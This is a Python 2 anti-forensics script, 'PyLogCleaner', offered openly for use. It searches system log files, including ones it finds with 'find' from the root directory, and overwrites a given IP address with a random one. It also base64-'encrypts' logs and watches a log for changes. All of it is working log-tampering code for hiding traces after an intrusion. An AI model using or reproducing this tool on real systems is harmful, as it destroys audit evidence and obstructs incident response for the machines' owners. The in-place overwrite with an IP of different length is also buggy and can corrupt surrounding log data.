Python Log Cleaner

    #!/usr/bin/python
    #PyLogcleaner uses the list given (logfiles) containing
    # 274 logfiles and uses the linux find
    #cmd to try and locate more logfiles to search
    #for an ip address to replace with a random generated
    #one. It can also encrypt/d3crypt a
    #logfile and also can watch a logfile for modifications.


    import os, sys, time, pwd, getopt, re, random, StringIO, commands

    def title():
            print "\n   PyLogCleaner v1.0"
            print "-----------------------------------------------"

    def usage():
            title()
            print "\n  Usage: python logcleaner.py <option>\n"
            print "\t[options]"
            print "\t   -i <ip>: Ip to search for and replace"
            print "\t   -e <file>: Encrypts logfile"
            print "\t   -d <file>: Decrypts logfile"
            print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"
            print "\t   -h/-help: Prints this menu\n"

    def timer():
            now = time.localtime(time.time())
            return time.asctime(now)

    def validater(logs):

            activeLogs = []

            print "[+] Validating:",len(logs),"logfiles\n"
            for l in logs:
                    if os.path.isfile(l) == True:
                            activeLogs.append(l)
            if len(activeLogs)>0:
                    print "[+] Active Logs Found:",len(activeLogs)
                    return activeLogs
            else:
                    print "[-] No Active Logs Found"
                    sys.exit(1)

    def search(logfiles):

            print "\n[+] Searching:",ip,"\n"
            import mmap

            for file in logfiles:
                    try:
                            f = open(file, "rb+")
                            size = os.path.getsize(file)
                            if size >= 1:
                                    data = mmap.mmap(f.fileno(), size)
                                    loc = data.find(ip)
                                    #Lets not search a file with no data.
                                    if loc == -1:
                                            #print "[+] File:",file,"|",size,"bytes"
                                            #print "\t[-] IP not found"
                                            data.close()
                                    else:
                                            print "-"*45
                                            print "[+] File:",file,"|",size,"bytes"
                                            print "\t[+] IP found"
                                            data.seek(loc)
                                            data.write(randip)
                                            print "[+] Replaced: ",ip,">>",randip
                                            print "[+] New_Size:",os.path.getsize(file),"bytes"
                                            print "-"*45
                                            data.close()
                    except(IOError), msg:
                            pass
            print "\n[+] Done:",timer(),"\n"

    def findlogs():
            os.chdir("/")

            print "[+] Finding More Logfiles..."
            #Lets use the linux find cmd to fing more files containing log...
            logz = StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
            if len(logz)>0:
                    print "[+] Found:",len(logz),"extra logfiles"
                    for log in logz:
                            if re.search("Permission denied",log) == None:
                                    logs.append(log[:-1])
            return logs

    def randip():

            A = random.randrange(255) + 1
            B = random.randrange(255) + 1
            C = random.randrange(255) + 1
            D = random.randrange(255) + 1
            randip = "%d.%d.%d.%d" % (A,B,C,D)
            return randip

    def gettime():
            clock = time.asctime(time.localtime(os.path.getmtime(logfile)))
            return clock

    def getsize():
            size = os.path.getsize(logfile)
            return size

    def modlast(logfile):
            try:
                    sys.argv[3]
            except(IndexError):
                    print "\n[-] Need a time in seconds (ex: 60)\n"
                    sys.exit(1)

            print "[+] Analyzing:",logfile
            print "[+] Time:",sys.argv[3],"secs"
            print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
            print "[+] Size:",getsize(),"bytes"
            print "[+] Last Modified:",gettime()
            print "[+] Starting:",timer()

            old_time = gettime()
            while True:
                    time.sleep(int(sys.argv[3]))
                    new_time = gettime()
                    if new_time != old_time:
                            print "\n[+] File Modified:",new_time
                            print "[+] New Size:",getsize(),"bytes\n"
                            old_time = new_time

    def encrypter(file):
            import base64
            print "\n[+] Encrypting:",file
            print "[+] Size:",os.path.getsize(file),"bytes"
            try:
                    log2encode = open(file, "r").read()
            except(IOError):
                    print "Error: Check your full path.\n"
                    sys.exit(1)
            log2encode = base64.b64encode(log2encode)
            os.remove(file)
            time.sleep(2)
            f = open(file, "a")
            f.write(log2encode)
            f.close()
            print "[+] NewSize:",os.path.getsize(file),"bytes"
            print "[+] Done\n"

    def d3crypter(file):
            import base64
            print "\n[+] Decrypting:",file
            print "[+] Size:",os.path.getsize(file),"bytes"
            try:
                    b2log = open(file, "r").read()
            except(IOError):
                    print "Error: Check your full path.\n"
                    sys.exit(1)
            b2log = base64.b64decode(b2log)
            os.remove(file)
            time.sleep(2)
            f = open(file, "a")
            f.write(b2log)
            f.close()
            print "[+] NewSize:",os.path.getsize(file),"bytes"
            print "[+] Done\n"

    if len(sys.argv) <= 1:
            usage()
            sys.exit(1)
    if len(sys.argv) == 2:
            usage()
            sys.exit(1)

    if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
            logfile = sys.argv[2]
            if os.path.isfile(logfile) == False:
                    title()
                    print "\n[-] Cannot Open File, Check Full Path!!!\n"
                    sys.exit(1)
            else:
                    title()
                    modlast(logfile)
    if sys.argv[1] == "-i":
            ip = sys.argv[2]
            try:
                    logs = open("logfiles", "r").readlines()
            except(IOError):
                    print "Error: logfiles missing\n"
                    sys.exit(1)
            title()
            print "\n[+] Starting:",timer()
            print "[+] Loaded:",len(logs),"logs"
            findlogs()
            randip = randip()
            print "[+] Generate Random IP:",randip
            search(validater(logs))
    if sys.argv[1] == "-e":
            file = sys.argv[2]
            title()
            encrypter(file)
    if sys.argv[1] == "-d":
            file = sys.argv[2]
            title()
            d3crypter(file)